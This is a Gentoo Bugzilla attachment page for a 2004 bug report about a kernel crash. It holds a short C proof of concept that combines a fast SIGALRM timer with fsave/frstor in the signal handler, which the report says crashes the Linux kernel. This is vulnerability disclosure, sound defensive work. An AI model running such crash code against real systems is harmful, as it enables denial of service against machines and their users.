Go to:
Gentoo Home
Documentation
Forums
Lists
Bugs
Planet
Store
Wiki
Get Gentoo!
Gentoo's Bugzilla – Attachment 33167 Details for
Bug 53804
sys-kernel/*: 20 lines of C code can crash the kernel
Home
|
New
–
[Ex]
|
Browse
|
Search
|
Privacy Policy
|
[?]
|
Reports
|
Requests
|
Help
|
New Account
|
Log In
[x]
|
Forgot Password
Login:
[x]
Program that crashes the kernel
crash.c.txt (text/plain), 529 bytes, created by
xiando
on 2004-06-13 06:33:44 UTC
(
hide
)
Description:
Program that crashes the kernel
Filename:
MIME Type:
Creator:
xiando
Created:
2004-06-13 06:33:44 UTC
Size:
529 bytes
patch
obsolete
>#include <sys/time.h> >#include <signal.h> >#include <unistd.h> > >static void Handler(int ignore) >{ > char fpubuf[108]; > __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf)); > write(2, "*", 1); > __asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf)); >} > >int main(int argc, char *argv[]) >{ > struct itimerval spec; > signal(SIGALRM, Handler); > spec.it_interval.tv_sec=0; > spec.it_interval.tv_usec=100; > spec.it_value.tv_sec=0; > spec.it_value.tv_usec=100; > setitimer(ITIMER_REAL, &spec, NULL); > while(1) > write(1, ".", 1); > > return 0; >} > >
You cannot view the attachment while viewing its details because your browser does not support IFRAMEs.
View the attachment on a separate page
.
View Attachment As Raw
Actions:
View
Attachments on
bug 53804
: 33167 |
33168
|
33169
|
33230